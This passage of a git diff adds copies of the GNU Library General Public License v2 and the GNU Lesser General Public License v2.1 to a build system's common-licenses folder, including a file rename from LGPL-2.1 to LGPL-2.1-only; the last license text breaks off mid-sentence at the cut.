+for libraries did not effectively promote software sharing, because most developers
+did not use the libraries. We concluded that weaker conditions might promote
+sharing better.
+
+However, unrestricted linking of non-free programs would deprive the users
+of those programs of all benefit from the free status of the libraries themselves.
+This Library General Public License is intended to permit developers of non-free
+programs to use free libraries, while preserving your freedom as a user of
+such programs to change the free libraries that are incorporated in them.
+(We have not seen how to achieve this as regards changes in header files,
+but we have achieved it as regards changes in the actual functions of the
+Library.) The hope is that this will lead to faster development of free libraries.
+
+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, while the latter only works together with the library.
+
+Note that it is possible for a library to be covered by the ordinary General
+Public License rather than by this special one.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library which contains a
+notice placed by the copyright holder or other authorized party saying it
+may be distributed under the terms of this Library General Public License
+(also called "this License"). Each licensee is addressed as "you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also compile or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+c) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+d) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the source code distributed need
+not include anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the operating
+system on which the executable runs, unless that component itself accompanies
+the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties to this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Library General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
+redistribute and change. You can do so by permitting redistribution under
+these terms (or, alternatively, under the terms of the ordinary General Public
+License).
+
+To apply these terms, attach the following notices to the library. It is safest
+to attach them to the start of each source file to most effectively convey
+the exclusion of warranty; and each file should have at least the "copyright"
+line and a pointer to where the full notice is found.
+
+one line to give the library's name and an idea of what it does.
+
+Copyright (C) year name of author
+
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Library General Public License as published by the Free
+Software Foundation; either version 2 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more
+details.
+
+You should have received a copy of the GNU Library General Public License
+along with this library; if not, write to the Free Software Foundation, Inc.,
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your school,
+if any, to sign a "copyright disclaimer" for the library, if necessary. Here
+is a sample; alter the names:
+
+Yoyodyne, Inc., hereby disclaims all copyright interest in
+
+the library `Frob' (a library for tweaking knobs) written
+
+by James Random Hacker.
+
+signature of Ty Coon, 1 April 1990
+
+Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/meta/files/common-licenses/LGPL-2.1 b/meta/files/common-licenses/LGPL-2.1-only
index a0e735a98b..a0e735a98b 100644
--- a/meta/files/common-licenses/LGPL-2.1
+++ b/meta/files/common-licenses/LGPL-2.1-only
diff --git a/meta/files/common-licenses/LGPL-2.1-or-later b/meta/files/common-licenses/LGPL-2.1-or-later
new file mode 100644
index 0000000000..04bb156e77
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.1-or-later
@@ -0,0 +1,468 @@
+GNU LESSER GENERAL PUBLIC LICENSE
+
+Version 2.1, February 1999
+
+Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL. It also counts as the
+successor of the GNU Library Public License, version 2, hence the version
+number 2.1.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Lesser General Public License, applies to some specially
+designated software packages--typically libraries--of the Free Software Foundation
+and other authors who decide to use it. You can use it too, but we suggest
+you first think carefully about whether this license or the ordinary General
+Public License is the better strategy to use in any particular case, based
+on the explanations below.
+
+When we speak of free software, we are referring to freedom of use, not price.
+Our General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish); that you receive source code or can get it if you want it; that you
+can change the software and use pieces of it in new free programs; and that
+you are informed that you can do these things.
+
+To protect your rights, we need to make restrictions that forbid distributors
+to deny you these rights or to ask you to surrender these rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+other code with the library, you must provide complete object files to the
+recipients, so that they can relink them with the library after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+We protect your rights with a two-step method: (1) we copyright the library,
+and (2) we offer you this license, which gives you legal permission to copy,
+distribute and/or modify the library.
+
+To protect each distributor, we want to make it very clear that there is no
+warranty for the free library. Also, if the library is modified by someone
+else and passed on, the recipients should know that what they have is not
+the original version, so that the original author's reputation will not be
+affected by problems that might be introduced by others.
+
+Finally, software patents pose a constant threat to the existence of any free
+program. We wish to make sure that a company cannot effectively restrict the
+users of a free program by obtaining a restrictive license from a patent holder.
+Therefore, we insist that any patent license obtained for a version of the
+library must be consistent with the full freedom of use specified in this
+license.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License. This license, the GNU Lesser General Public License,
+applies to certain designated libraries, and is quite different from the ordinary
+General Public License. We use this license for certain libraries in order
+to permit linking those libraries into non-free programs.
+
+When a program is linked with a library, whether statically or using a shared
+library, the combination of the two is legally speaking a combined work, a
+derivative of the original library. The ordinary General Public License therefore
+permits such linking only if the entire combination fits its criteria of freedom.
+The Lesser General Public License permits more lax criteria for linking other
+code with the library.
+
+We call this license the "Lesser" General Public License because it does Less
+to protect the user's freedom than the ordinary General Public License. It
+also provides other free software developers Less of an advantage over competing
+non-free programs. These disadvantages are the reason we use the ordinary
+General Public License for many libraries. However, the Lesser license provides
+advantages in certain special circumstances.
+
+For example, on rare occasions, there may be a special need to encourage the
+widest possible use of a certain library, so that it becomes a de-facto standard.
+To achieve this, non-free programs must be allowed to use the library. A more
+frequent case is that a free library does the same job as widely used non-free
+libraries. In this case, there is little to gain by limiting the free library
+to free software only, so we use the Lesser General Public License.
+
+In other cases, permission to use a particular library in non-free programs
+enables a greater number of people to use a large body of free software. For
+example, permission to use the GNU C Library in non-free programs enables
+many more people to use the whole GNU operating system, as well as its variant,
+the GNU/Linux operating system.
+
+Although the Lesser General Public License is Less protective of the users'
+freedom, it does ensure that the user of a program that is linked with the
+Library has the freedom and the wherewithal to run that program using a modified
+version of the Library.
+
+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, whereas the latter must be combined with the library in
+order to run.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library or other program
+which contains a notice placed by the copyright holder or other authorized
+party saying it may be distributed under the terms of this Lesser General
+Public License (also called "this License"). Each licensee is addressed as
+"you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
+a good faith effort to ensure that, in the event an application does not supply
+such function or table, the facility still operates, and performs whatever
+part of its purpose remains meaningful.
+
+(For example, a function in a library to compute square roots has a purpose
+that is entirely well-defined independent of the application. Therefore, Subsection
+2d requires that any application-supplied function or table used by this function
+must be optional: if the application does not supply it, the square root function
+must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If identifiable
+sections of that work are not derived from the Library, and can be reasonably
+considered independent and separate works in themselves, then this License,
+and its terms, do not apply to those sections when you distribute them as
+separate works. But when you distribute the same sections as part of a whole
+which is a work based on the Library, the distribution of the whole must be
+on the terms of this License, whose permissions for other licensees extend
+to the entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest your
+rights to work written entirely by you; rather, the intent is to exercise
+the right to control the distribution of derivative or collective works based
+on the Library.
+
+In addition, mere aggregation of another work not based on the Library with
+the Library (or with a work based on the Library) on a volume of a storage
+or distribution medium does not bring the other work under the scope of this
+License.
+
+3. You may opt to apply the terms of the ordinary GNU General Public License
+instead of this License to a given copy of the Library. To do this, you must
+alter all the notices that refer to this License, so that they refer to the
+ordinary GNU General Public License, version 2, instead of to this License.
+(If a newer version than version 2 of the ordinary GNU General Public License
+has appeared, then you can specify that version instead if you wish.) Do not
+make any other change in these notices.
+
+Once this change is made in a given copy, it is irreversible for that copy,
+so the ordinary GNU General Public License applies to all subsequent copies
+and derivative works made from that copy.
+
+This option is useful when you wish to copy part of the code of the Library
+into a program that is not a library.
+
+4. You may copy and distribute the Library (or a portion or derivative of
+it, under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you accompany it with the complete corresponding
+machine-readable source code, which must be distributed under the terms of
+Sections 1 and 2 above on a medium customarily used for software interchange.
+
+If distribution of object code is made by offering access to copy from a designated
+place, then offering equivalent access to copy the source code from the same
+place satisfies the requirement to distribute the source code, even though
+third parties are not compelled to copy the source along with the object code.
+
+5. A program that contains no derivative of any portion of the Library, but
+is designed to work with the Library by being compiled or linked with it,
+is called a "work that uses the Library". Such a work, in isolation, is not
+a derivative work of the Library, and therefore falls outside the scope of
+this License.
+
+However, linking a "work that uses the Library" with the Library creates an
+executable that is a derivative of the Library (because it contains portions
+of the Library), rather than a "work that uses the library". The executable
+is therefore covered by this License. Section 6 states terms for distribution
+of such executables.
+
+When a "work that uses the Library" uses material from a header file that
+is part of the Library, the object code for the work may be a derivative work
+of the Library even though the source code is not. Whether this is true is
+especially significant if the work can be linked without the Library, or if
+the work is itself a library. The threshold for this to be true is not precisely
+defined by law.
+
+If such an object file uses only numerical parameters, data structure layouts
+and accessors, and small macros and small inline functions (ten lines or less
+in length), then the use of the object file is unrestricted, regardless of
+whether it is legally a derivative work. (Executables containing this object
+code plus portions of the Library will still fall under Section 6.)
+
+Otherwise, if the work is a derivative of the Library, you may distribute
+the object code for the work under the terms of Section 6. Any executables
+containing that work also fall under Section 6, whether or not they are linked
+directly with the Library itself.
+
+6. As an exception to the Sections above, you may also combine or link a "work
+that uses the Library" with the Library to produce a work containing portions
+of the Library, and distribute that work under terms of your choice, provided
+that the terms permit modification of the work for the customer's own use
+and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the work that the Library
+is used in it and that the Library and its use are covered by this License.
+You must supply a copy of this License. If the work during execution displays
+copyright notices, you must include the copyright notice for the Library among
+them, as well as a reference directing the user to the copy of this License.
+Also, you must do one of these things:
+
+a) Accompany the work with the complete corresponding machine-readable source
+code for the Library including whatever changes were used in the work (which
+must be distributed under Sections 1 and 2 above); and, if the work is an
+executable linked with the Library, with the complete machine-readable "work
+that uses the Library", as object code and/or source code, so that the user
+can modify the Library and then relink to produce a modified executable containing
+the modified Library. (It is understood that the user who changes the contents
+of definitions files in the Library will not necessarily be able to recompile
+the application to use the modified definitions.)
+
+b) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (1) uses at run time a copy of the library
+already present on the user's computer system, rather than copying library
+functions into the executable, and (2) will operate properly with a modified
+version of the library, if the user installs one, as long as the modified
+version is interface-compatible with the version that the work was made with.
+
+c) Accompany the work with a written offer, valid for at least three years,
+to give the same user the materials specified in Subsection 6a, above, for
+a charge no more than the cost of performing this distribution.
+
+d) If distribution of the work is made by offering access to copy from a designated
+place, offer equivalent access to copy the above specified materials from
+the same place.
+
+e) Verify that the user has already received a copy of these materials or
+that you have already sent this user a copy.
+
+For an executable, the required form of the "work that uses the Library" must
+include any data and utility programs needed for reproducing the executable
+from it. However, as a special exception, the materials to be distributed
+need not include anything that is normally distributed (in either source or
+binary form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component itself
+accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of
+other proprietary libraries that do not normally accompany the operating system.
+Such a contradiction means you cannot use both them and the Library together
+in an executable that you distribute.
+
+7. You may place library facilities that are a work based on the Library side-by-side
+in a single library together with other library facilities not covered by
+this License, and distribute such a combined library, provided that the separate
+distribution of the work based on the Library and of the other library facilities
+is otherwise permitted, and provided that you do these two things:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities. This must be distributed
+under the terms of the Sections above.
+
+b) Give prominent notice with the combined library of the fact that part of
+it is a work based on the Library, and explaining where to find the accompanying
+uncombined form of the same work.
+
+8. You may not copy, modify, sublicense, link with, or distribute the Library
+except as expressly provided under this License. Any attempt otherwise to
+copy, modify, sublicense, link with, or distribute the Library is void, and
+will automatically terminate your rights under this License. However, parties
+who have received copies, or rights, from you under this License will not
+have their licenses terminated so long as such parties remain in full compliance.
+
+9. You are not required to accept this License, since you have not signed
+it. However, nothing else grants you permission to modify or distribute the
+Library or its derivative works. These actions are prohibited by law if you
+do not accept this License. Therefore, by modifying or distributing the Library
+(or any work based on the Library), you indicate your acceptance of this License
+to do so, and all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+10. Each time you redistribute the Library (or any work based on the Library),
+the recipient automatically receives a license from the original licensor
+to copy, distribute, link with or modify the Library subject to these terms
+and conditions. You may not impose any further restrictions on the recipients'
+exercise of the rights granted herein. You are not responsible for enforcing
+compliance by third parties with this License.
+
+11. If, as a consequence of a court judgment or allegation of patent infringement
+or for any other reason (not limited to patent issues), conditions are imposed
+on you (whether by court order, agreement or otherwise) that contradict the
+conditions of this License, they do not excuse you from the conditions of
+this License. If you cannot distribute so as to satisfy simultaneously your
+obligations under this License and any other pertinent obligations, then as
+a consequence you may not distribute the Library at all. For example, if a
+patent license would not permit royalty-free redistribution of the Library
+by all those who receive copies directly or indirectly through you, then the
+only way you could satisfy both it and this License would be to refrain entirely
+from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents
+or other property right claims or to contest validity of any such claims;
+this section has the sole purpose of protecting the integrity of the free
+software distribution system which is implemented by public license practices.
+Many people have made generous contributions to the wide range of software
+distributed through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing to
+distribute software through any other system and a licensee cannot impose
+that choice.
+
+This section is intended to make thoroughly clear what is believed to be a
+consequence of the rest of this License.
+
+12. If the distribution and/or use of the Library is restricted in certain
+countries either by patents or by copyrighted interfaces, the original copyright
+holder who places the Library under this License may add an explicit geographical
+distribution limitation excluding those countries, so that distribution is
+permitted only in or among countries not thus excluded. In such case, this
+License incorporates the limitation as if written in the body of this License.
+
+13. The Free Software Foundation may publish revised and/or new versions of
+the Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library specifies
+a version number of this License which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Library does not specify a license version number, you may choose any version
+ever published by the Free Software Foundation.
+
+14. If you wish to incorporate parts of the Library into other free programs
+whose distribution conditions are incompatible with these, write to the author
+to ask for permission. For software which is copyrighted by the Free Software
+Foundation, write to the Free Software Foundation; we sometimes make exceptions
+for this. Our decision will be guided by the two goals of preserving the free
+status of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+ NO WARRANTY
+
+15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR
+THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Libraries
+
+If you develop a new library, and you want it to be of the greatest possible
+use to the public, we recommend making it free software that everyone can
